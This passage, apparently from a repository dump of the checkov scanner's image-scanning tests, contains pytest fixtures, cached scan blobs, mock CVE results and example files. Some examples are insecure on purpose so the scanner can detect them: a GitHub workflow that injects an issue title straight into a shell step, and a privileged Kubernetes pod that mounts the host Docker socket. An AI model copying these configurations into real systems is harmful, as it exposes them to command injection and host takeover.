prisma_engine.get_check_thresholds(registry) == (medium, medium)\n\n    runner_filter.check_threshold = None\n    assert prisma_engine.get_check_thresholds(registry) == (none, medium)\n"
  },
  {
    "path": "tests/sca_image/__init__.py",
    "content": ""
  },
  {
    "path": "tests/sca_image/conftest.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nimport pytest\nfrom unittest import mock\nimport responses\nfrom pathlib import Path\n\nfrom checkov.common.bridgecrew.bc_source import SourceType\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration, bc_integration\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.sca_image.runner import Runner\nfrom checkov.common.output.report import Report\nfrom .mocks import mock_scan\n\nKUBERNETES_EXAMPLES_DIR = Path(__file__).parent / \"examples/kubernetes\"\nDOCKERFILE_EXAMPLES_DIR = Path(__file__).parent / \"examples/dockerfile\"\n\n@pytest.fixture()\ndef image_id() -> str:\n    return \"sha256:6fd085fc6410\"\n\n\n@pytest.fixture(scope='package')\ndef mock_bc_integration() -> BcPlatformIntegration:\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.setup_bridgecrew_credentials(\n        repo_id=\"bridgecrewio/checkov\",\n        skip_fixes=True,\n        skip_download=True,\n        source=SourceType(\"Github\", False),\n        source_version=\"1.0\",\n        repo_branch=\"master\",\n    )\n    return bc_integration\n\n\n@pytest.fixture()\ndef empty_report() -> dict[str, Any]:\n    return {\n        \"check_type\": \"sca_image\",\n        \"failing_checks\": [],\n        \"passed_checks\": [],\n        \"parsing_errors\": [],\n        \"resources\": {},\n        \"skipped_checks\": [],\n    }\n\n\n@pytest.fixture()\ndef image_name() -> str:\n    return \"ubuntu\"\n\n\n@pytest.fixture()\ndef cached_scan_result() -> dict[str, str]:\n    return {\n        \"outputType\": \"Result\",\n        \"outputData\": (\n            \"H4sIAD231WIC/7VYXW/bOhJ9bn8F4ZdtdyNZH5a/3tykdxtsrlvUaRfopigoibKJ0KJKUo7di/vfd4aSHTuRk9hN0CS1SWo4nDlzzlB/vX\"\n            \"7VUkyXwujWkPzv9atXf8HvqxZP4WtLz2gQdYeDoMv60SDNwrAz8PudfhTEfq8TBTRj3YEHg1GcZJGf0jTud0LaZ2k/Y1nm9wdeNPA6rRNr\"\n            \"M6dzhlaLlZnJfBi6fYeKguesnk+5NkriipEdJhc8L5dkEbp+d2fJZyYY1dYWzrneZnbKtNly3GNhGKWdThBl3ThkfhL30m43i5nfj7KsEy\"\n            \"bhwGOsF8VRkiWdxO8nNPD9JIUj9cIwiGq7iRSCJYbLfB0kGBwJ0cJP36s1BU2uKWy/WWDjCBNmVVhPpa6sbQVCMZqKzflhYsGUhl1wru/6\"\n            \"buAobzMneMJyvbUBjP3704UTuJ4jlSOoYapVTXy3//198lQ/BI9zLZq8AONg/hEvLp7PDdjayCZHPDd8PBx/nl8eufW1iiMnkXnWtLePIQ\"\n            \"heaGe2LKhpDn0HCuTFTjxN43nzYYPwKbALnyXfWcabnAjh7JBt/4XObn6l1NDGoHtBQB87/qcyhmHnTM4pz490gRbXjpFS6ObU+4E7cFT4\"\n            \"tOLPxepIL35BCvaAAFx4LAHf8Okjj28J3rlmqz0B6Lxc9rHWmw/tD9zw5Sou/sWLYA+/YKU/fF77tINLu0funyelQqMNHnTd8EeB2PeiwH\"\n            \"+5CJSGC0egqDcnPXw0CneZh4zGZ+Su/OwOQnXgwLFgYSv0WjfnrYt48Q+SaPKMamm4KpJmz56glu8mZ07onApaQit1nA8FXToPhCfEMvZe\"\n            \"msQS6iTQNvCMJxBOvYfWfR/Q/Si0K28sgI6HeU1uMbSogq5kaZolLrBtxYuHhwWZLpSc7slRp+tGh7aZNj4XjaPboPrNME6ZMWxpmrtBpK\"\n            \"ngKV2p/7t1tvzV5EEE6YsOrn0MyE73sB3J3/ZUFuBBcx8P2ub68rE8fwQDk8nFkdvrn4Ib1oz1sP84ymLBtOb59Mjt5+W+owdPUnWELqpG\"\n            \"8K9j9b3Uq1gu91BhhNXuP29HV12k77MyLxpJEC9zneeQ9j37ambKYm9TG/XcyH04C1/G/xl//O/4N1y4mTEm9twfe+6BHeXW7T6R80Jwmi\"\n            \"cNF3z7qqTjr00bboT15c3p+eTHmUyumfqxQBR6xCEd139Lzud0yoieyVKkJGYkUQzKPiU33MwIJbnMHSWlIcChauOyZnAcblZoesans81E\"\n            \"ynSieGHqk54bwjVYmUqZkkLRxMBZiZFElTkxM9hN5gaoB+iI6ru7nRCekUJCHUI1uuQSXJzO7MxVjjHWBQVjc1qAwk1xn1zeELqgXFB4wD\"\n            \"5N7XLrg8AXHCuSsgy2Swm/uz/HOJzg4FW+Naqtq+CcmdHKLRJbK7QUhtA8JbpgCep9NXnrmGI7rpmrXLGfJVcsbT2Q0jN8qcTjso5gldcW\"\n            \"xBQiRwWMeFWoq7APSZ3q1pylvJxvzQt5s/XNSGOf9l9vYLy16SSh+SeqNUP0GFWyasGiFBADGnPgUr4PbK1Pn88nf44c7Ngdz+/2b0FiqC\"\n            \"n1Wgw2w8lC42DP7e8BzSiHiOmSkRsIe8p1IgFsVcqATcgbKgSpq0m/BcgmVt85QC2HLYXQNrP1igrHOIABY9psJvJyHiPIAMo5YgXX2BTO\"\n            \"KO5lWJ7CpoBVGSMYAEuF4guoDVK/XiOZkvOtYQ4PLBGnkG/b6dMsY4nRaJXIagPHgS5CUceudUoliLTnPrFQYstCSA5hQ/9qtNTIw4fX+6\"\n            \"aSWURtQM2WgJo1pAur6ZU3ECwwa2ZlFRNqDEUKIJBvWLdrFT4rVpc9nFbFHBxVqzvxeuuS8cfL90OM9wzyEzOGrhZSIWnUrkIA8Gcdw6zM\"\n            \"7QtLCjhakcojtqlMOGIBmcQiJ5lUMI41cz9QmsGdkYlVHeFtcK4sVDKuIAoAYz7N1wR2+vU9INPvW3hGJwQKyyJFEw1XBUFKMK8QZBAN4J\"\n            \"gP8gaZ7aQ6w+4W1QPARwyZysyQJwlwfF573Jhe93HKrOM/bhDMeurrA7qZX1uDxhR62G5P4cxl7EJlt4tVQdtgrG1rSbf7Xa+7eU5xff0H\"\n            \"sLFUO6rzAfwiG0dr/Vk/w+fgDiS59mbnwX/eXWxBqGcsPYPKWL/McrzI8buX3mDY6Q+97rdb1dgU+e7ynuP3L31Y7g074bdWkwZXHFSlGR\"\n            \"4JPa8bNTBQxpcVg2y6n94DhLRgGJrK8GQyDF2/Pfo6vGiPTuHPp8/DcfvL+fBzezL80j4dfmifw+9o+GGfCI4Q6g7NoJl2MsWQKMi7qj+z\"\n            \"7jjLq6t/AKZurgkIhmCGCKhqjdSTspxTgeQBxbJA7cTqqTVxBeqVMih+KAzLGBaMcL1Kqt4VUJoo3Da1tguofqbyW+UrVguqNsV5OFLv9p\"\n            \"j30drYau4iNl+kbg7s5U7loo0F104Z0K1o70npk5B7sh7+zKC1MruFfDs7snRIrA4ChZrVkKBqbubP5OT2ywfLMMtDquKq9Lww2ULck4sE\"\n            \"UB8N4cfzDi6S9XLw9UGzTyimwBv0Hq4l+Pdz+zqzKaXo4VIa75bSeKuUYGo43ltK7yfk4+k7Mkfgo1iEgQM6RZb9LingugpDc73Fx7DeGZ\"\n            \"+jJrA5FgyK7ZxrdB9zPgdwVGJ7g9yOksryRK2KShlhFgQYqL8Wb3xRXyuGlnMoIa6Scg6BwVa8lqXE9tEKkAh1q/nSoD7GKwOiAVasBSuS\"\n            \"KFgFkAEqt+0Rq6qcs7kEzV0vyYEZ4AOAGqTUJefVIttxgvmEVo3F1dVVC5sjAW0nfl4fwvYV93ywmi8oqvMSbK/7/spllrpkwuE8pL5/3z\"\n            \"YbuixQ5W388XVSCucvZhiLkqNpTMflxcQy1Bl8sL00yD00FbEEKS7zqh/CLf5YQ2i9SwiyFpE3o3qF/e7h21W387ZheYW8rfV2wLF/i7eH\"\n            \"U9ndtxVNVHb/pcWhTLZTT3uI7DFOquershqSnJkbqa7v09TJMcx4BLetGeBp1NYDGrr0/eemtjtm712vdk556A0rPOyGFW7dsHb2vXfJem\"\n            \"2d/P767/8DpWNycPggAAA=\"\n        ),\n        \"compressionMethod\": \"gzip\",\n    }\n\n\n@pytest.fixture()\ndef image_name2() -> str:\n    return \"node:14.16\"\n\n\n@pytest.fixture()\ndef cached_scan_result2() -> dict[str, str]:\n    return {'outputType': 'Result', 'outputData': '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', 'compressionMethod': 'gzip'}\n\n\n@pytest.fixture()\ndef cached_scan_result3() -> dict[str, str]:\n    return {'outputType': 'Error', 'outputData': '', 'compressionMethod': 'gzip'}\n\n\n@mock.patch('checkov.sca_image.runner.Runner.scan', mock_scan)\n@responses.activate\ndef get_sca_image_report(mock_bc_integration: BcPlatformIntegration) -> Report:\n    response_json = {\n        \"violations\": [\n            {\n                \"name\": \"pcre2\",\n                \"version\": \"10.39-3build1\",\n                \"license\": \"Apache-2.0\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"COMPLIANT\"\n            },\n            {\n                \"name\": \"perl\",\n                \"version\": \"5.34.0-3ubuntu1\",\n                \"license\": \"Apache-2.0-Fake\",\n                \"policy\": \"BC_LIC_1\",\n                \"status\": \"OPEN\"\n            },\n        ]\n    }\n    responses.add(\n        method=responses.POST,\n        url=mock_bc_integration.api_url + \"/api/v1/vulnerabilities/packages/get-licenses-violations\",\n        json=response_json,\n        status=200\n    )\n\n    runner = Runner()\n    runner_filter = RunnerFilter(skip_checks=[\"CKV_CVE_2022_1586\"])\n    dockerfile_path = \"/path/to/Dockerfile\"\n    image_id = \"sha256:123456\"\n    return runner.run(root_folder=DOCKERFILE_EXAMPLES_DIR, runner_filter=runner_filter,\n                      dockerfile_path=dockerfile_path, image_id=image_id)\n\n\n@pytest.fixture(scope='package')\ndef sca_image_report(mock_bc_integration: BcPlatformIntegration) -> Report:\n    return get_sca_image_report(mock_bc_integration)\n\n\n@pytest.fixture(scope='function')\ndef sca_image_report_scope_function(mock_bc_integration: BcPlatformIntegration) -> Report:\n    return get_sca_image_report(mock_bc_integration)\n"
  },
  {
    "path": "tests/sca_image/examples/.github/workflows/vulnerable_container.yaml",
    "content": "on: pull_request\n\nname: unsecure-worfklow\n\njobs:\n  my_job:\n    container:\n      image: python:3.9-alpine\n      env:\n        NODE_ENV: development\n      ports:\n        - 80\n      volumes:\n        - my_docker_volume:/volume_mount\n      options: --cpus 1\n  unsecure-job:\n    name: job1\n    runs-on: ubuntu-latest\n    run: |\n      title=\"${{ github.event.issue.title }}\"\n      if [[ ! $title =~ ^.*:\\ .*$ ]]; then\n        echo \"Bad issue title\"\n        exit 1\n      fi\n  secure-job:\n    name: job2\n    runs-on: ubuntu-latest\n    run: |\n      echo \"foo\""
  },
  {
    "path": "tests/sca_image/examples/dockerfile/Dockerfile",
    "content": "FROM ubuntu\nRUN mkdir /app\nRUN groupadd -r tronxd && useradd -r -s /bin/false -g tronxd tronxd\nWORKDIR /app\nCOPY . /app\nRUN chown -R tronxd:tronxd /app\nUSER tronxd\nCMD node index.js\n"
  },
  {
    "path": "tests/sca_image/examples/kubernetes/deployment.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: health-check-deployment\nspec:\n  selector:\n    matchLabels:\n      app: health-check\n  template:\n    metadata:\n      labels:\n        app: health-check\n    spec:\n      containers:\n      - name: health-check\n        image: node:14.16\n        resources:\n          limits:\n            memory: \"100Mi\"\n            cpu: \"30m\"\n        ports:\n        - containerPort: 80\n      # Custom Stuff\n        securityContext:\n          privileged: true\n        volumeMounts:\n          - mountPath: /custom/docker/docker.sock\n            name: docker-sock-volume\n      volumes:\n        - name: docker-sock-volume\n          hostPath:\n            path: /var/run/docker.sock\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: health-check-service\nspec:\n  ports:\n  - protocol: TCP\n    port: 80\n    targetPort: 80\n  selector:\n    app: health-check"
  },
  {
    "path": "tests/sca_image/mocks.py",
    "content": "from __future__ import annotations\nfrom pathlib import Path\nfrom typing import Dict, Any, List\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.sca_image.runner import Runner\nfrom checkov.common.images.image_referencer import  Image\n\n\ndef mock_scan(self: Runner, image_id: str, dockerfile_path: str, runner_filter: RunnerFilter | None = None) -> Dict[str, Any]:\n    return dict(results=[{'id': 'sha256:973f3910e3465433dbc712f147f2ce15c42be69ccd558a13a3ec74127b4bd801',\n                          'distro': 'Ubuntu 22.04.1 LTS', 'distroRelease': 'jammy', 'collections': ['All'],\n                          'packages': [{'type': 'os', 'name': 'pcre2', 'version': '10.39-3build1'},\n                                       {'type': 'os', 'name': 'libidn2', 'version': '2.3.2-2build1',\n                                        'licenses': ['GPL-3+']},\n                                       {'type': 'os', 'name': 'perl', 'version': '5.34.0-3ubuntu1',\n                                        'licenses': ['GPL-1+ or Artistic']},\n                                       {'type': 'os', 'name': 'bzip2', 'version': '1.0.8-5build1',\n                                        'licenses': ['BSD-variant']}],\n                          'complianceDistribution': {'critical': 0, 'high': 0, 'medium': 0, 'low': 0, 'total': 0},\n                          'complianceScanPassed': True,\n                          'vulnerabilities': [\n             {'id': 'CVE-2020-16156', 'status': 'needed', 'cvss': 7.8,\n             'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H',\n             'description': 'CPAN 2.28 allows Signature Verification Bypass.', 'severity': 'medium',\n             'packageName': 'perl', 'packageVersion': '5.34.0-3ubuntu1',\n             'link': 'https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-16156',\n             'riskFactors': ['Attack complexity: low', 'Medium severity'], 'impactedVersions': ['*'],\n             'publishedDate': '2021-12-13T20:15:00+02:00', 'discoveredDate': '2022-08-11T14:03:31+03:00'},\n             {'id': 'CVE-2022-1587', 'status': 'needed', 'cvss': 9.1,\n                                                       'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H',\n                                                       'description': 'An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers.',\n                                                       'severity': 'low', 'packageName': 'pcre2',\n                                                       'packageVersion': '10.39-3build1',\n                                                       'link': 'https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1587',\n                                                       'riskFactors': ['Recent vulnerability', 'Attack complexity: low',\n                                                                       'Attack vector: network'],\n                                                       'impactedVersions': ['*'],\n                                                       'publishedDate': '2022-05-17T00:15:00+03:00',\n                                                       'discoveredDate': '2022-08-11T14:03:31+03:00'},\n             {'id': 'CVE-2022-1586', 'status': 'needed', 'cvss': 9.1,\n             'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H',\n             'description': 'An out-of-bounds read vulnerability was discovered in the PCRE2 library in the compile_xclass_matchingpath() function of the pcre2_jit_compile.c file. This involves a unicode property matching issue in JIT-compiled regular expressions. The issue occurs because the character was not fully read in case-less matching within JIT.',\n             'severity': 'low', 'packageName': 'pcre2', 'packageVersion': '10.39-3build1',\n             'link': 'https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1586',\n             'riskFactors': ['Attack vector: network', 'Recent vulnerability', 'Attack complexity: low'],\n             'impactedVersions': ['*'], 'publishedDate': '2022-05-17T00:15:00+03:00',\n             'discoveredDate': '2022-08-11T14:03:31+03:00'}\n                ],\n                          'vulnerabilityDistribution': {'critical': 0, 'high': 0, 'medium': 2, 'low': 6, 'total': 8},\n                          'vulnerabilityScanPassed': True}])\n\n\ndef mock_get_images(self: Runner, file_path: str) -> list[Image]:\n    return [Image(\n                file_path='fake_path',\n                name='fake_image',\n                start_line=1,\n                end_line=12\n            )]\n\n\ndef mock_scan_empty(self: Runner, image_id: str, dockerfile_path: str, runner_filter: RunnerFilter | None = None) -> Dict[str, Any]:\n    return {}\n\n\ndef mock_scan_image(self: Runner, dockerfile_path: str, image: Image, image_cached_result: Dict[str, Any], root_folder: str | Path | None) -> Dict[str, Any]:\n    return {'dockerImageName': 'node:14.16', 'dockerFilePath': '/Users/lshindelman/development/examples/bce-7720/lshindelman-supplygoat2-7d53e1de969e/.github/workflows/main.yml', 'dockerFileContent': '/Users/lshindelman/development/examples/bce-7720/lshindelman-supplygoat2-7d53e1de969e/.github/workflows/main.yml', 'type': 'Image', 'check_type': 'sca_images', 'sourceId': 'cli_repo/lshindelman-supplygoat2-7d53e1de969e', 'branch': 'master', 'sourceType': 'cli', 'vulnerabilities': [{'cveId': 'CVE-2021-44906', 'status': 'fixed in 1.2.6', 'severity': 'critical', 'packageName': 'minimist', 'packageVersion': '1.2.5', 'link': 'https://github.com/advisories/GHSA-xvch-5gv4-984h', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix', 'Recent vulnerability'], 'publishedDate': '2022-03-17T16:15:00Z'}, {'cveId': 'CVE-2019-9636', 'status': 'fixed in 3.7.3, 3.6.9, 3.5.7,...', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-9636', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'Python 2.7.x through 2.7.16 and 3.x through 3.7.2 is affected by: Improper Handling of Unicode Encoding (with an incorrect netloc) during NFKC normalization. The impact is: Information disclosure (credentials, cookies, etc. that are cached against a given hostname). The components are: urllib.parse.urlsplit, urllib.parse.urlparse. The attack vector is: A specially crafted URL could be incorrectly parsed to locate cookies or authentication data and send that information to a different host than when parsed correctly. This is fixed in: v2.7.17, v2.7.17rc1, v2.7.18, v2.7.18rc1; v3.5.10, v3.5.10rc1, v3.5.7, v3.5.8, v3.5.8rc1, v3.5.8rc2, v3.5.9; v3.6.10, v3.6.10rc1, v3.6.11, v3.6.11rc1, v3.6.12, v3.6.9, v3.6.9rc1; v3.7.3, v3.7.3rc1, v3.7.4, v3.7.4rc1, v3.7.4rc2, v3.7.5, v3.7.5rc1, v3.7.6, v3.7.6rc1, v3.7.7, v3.7.7rc1, v3.7.8, v3.7.8rc1, v3.7.9.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2019-03-08T21:29:00Z'}, {'cveId': 'CVE-2019-10160', 'status': 'fixed in 3.7.4, 3.6.9, 3.5.8,...', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-10160', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'A security regression of CVE-2019-9636 was discovered in python since commit d537ab0ff9767ef024f26246899728f0116b1ec3 affecting versions 2.7, 3.5, 3.6, 3.7 and from v3.8.0a4 through v3.8.0b1, which still allows an attacker to exploit CVE-2019-9636 by abusing the user and password parts of a URL. When an application parses user-supplied URLs to store cookies, authentication credentials, or other kind of information, it is possible for an attacker to provide specially crafted URLs to make the application locate host-related information (e.g. cookies, authentication data) and send them to a different host than where it should, unlike if the URLs had been correctly parsed. The result of an attack may vary based on the application.', 'riskFactors': ['Attack vector: network', 'Critical severity', 'Has fix', 'Attack complexity: low'], 'publishedDate': '2019-06-07T18:29:00Z'}, {'cveId': 'CVE-2018-13347', 'status': 'fixed in 4.6.1', 'severity': 'critical', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-13347', 'cvss': 9.8, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'mpatch.c in Mercurial before 4.6.1 mishandles integer addition and subtraction, aka OVE-20180430-0002.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2018-07-06T00:29:00Z'}, {'cveId': 'CVE-2018-1000802', 'status': 'fixed in 2.7.16', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000802', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': \"Python Software Foundation Python (CPython) version 2.7 contains a CWE-77: Improper Neutralization of Special Elements used in a Command (\\\\'Command Injection\\\\') vulnerability in shutil module (make_archive function) that can result in Denial of service, Information gain via injection of arbitrary files on the system or entire drive. This attack appear to be exploitable via Passage of unfiltered user input to the function. This vulnerability appears to have been fixed in after commit add531a1e55b0a739b0f42582f1c9747e5649ace.\", 'riskFactors': ['Attack vector: network', 'Critical severity', 'DoS', 'Has fix', 'Attack complexity: low'], 'publishedDate': '2018-09-18T17:29:00Z'}, {'cveId': 'CVE-2017-17458', 'status': 'fixed in 4.4.1', 'severity': 'critical', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-17458', 'cvss': 9.8, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'In Mercurial before 4.4.1, it is possible that a specially malformed repository can cause Git subrepositories to run arbitrary code in the form of a .git/hooks/post-update script checked into the repository. Typical use of Mercurial prevents construction of such repositories, but they can be created programmatically.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2017-12-07T18:29:00Z'}, {'cveId': 'CVE-2017-1000158', 'status': 'fixed in 3.5.5, 3.4.8, 2.7.15', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000158', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'CPython (aka Python) up to 2.7.13 is vulnerable to an integer overflow in the PyString_DecodeEscape function in stringobject.c, resulting in heap-based buffer overflow (and possible arbitrary code execution)', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2017-11-17T05:29:00Z'}, {'cveId': 'CVE-2017-1000116', 'status': 'fixed in 4.3', 'severity': 'critical', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000116', 'cvss': 9.8, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'Mercurial prior to 4.3 did not adequately sanitize hostnames passed to ssh, leading to possible shell-injection attacks.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2017-10-05T01:29:00Z'}, {'cveId': 'CVE-2016-9063', 'status': 'fixed in 3.6.2, 3.5.4, 3.4.7,...', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-9063', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'An integer overflow during the parsing of XML using the Expat library. This vulnerability affects Firefox < 50.', 'riskFactors': ['Critical severity', 'Has fix', 'Attack complexity: low', 'Attack vector: network'], 'publishedDate': '2018-06-11T21:29:00Z'}, {'cveId': 'CVE-2016-0718', 'status': 'fixed in 3.6.2, 3.5.4, 3.4.7,...', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-0718', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'Expat allows context-dependent attackers to cause a denial of service (crash) or possibly execute arbitrary code via a malformed input document, which triggers a buffer overflow.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'DoS', 'Has fix'], 'publishedDate': '2016-05-26T16:59:00Z'}, {'cveId': 'CVE-2019-9948', 'status': 'fixed in 3.7.4, 3.6.9, 3.5.8,...', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-9948', 'cvss': 9.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N', 'description': \"urllib in Python 2.x through 2.7.16 supports the local_file: scheme, which makes it easier for remote attackers to bypass protection mechanisms that blacklist file: URIs, as demonstrated by triggering a urllib.urlopen(\\\\'local_file:///etc/passwd\\\\') call.\", 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2019-03-23T18:29:00Z'}, {'cveId': 'CVE-2018-17983', 'status': 'fixed in 4.7.2', 'severity': 'critical', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-17983', 'cvss': 9.1, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H', 'description': 'cext/manifest.c in Mercurial before 4.7.2 has an out-of-bounds read during parsing of a malformed manifest entry.', 'riskFactors': ['Attack vector: network', 'Critical severity', 'Has fix', 'Attack complexity: low'], 'publishedDate': '2018-10-04T23:29:00Z'}, {'cveId': 'CVE-2018-1000132', 'status': 'fixed in 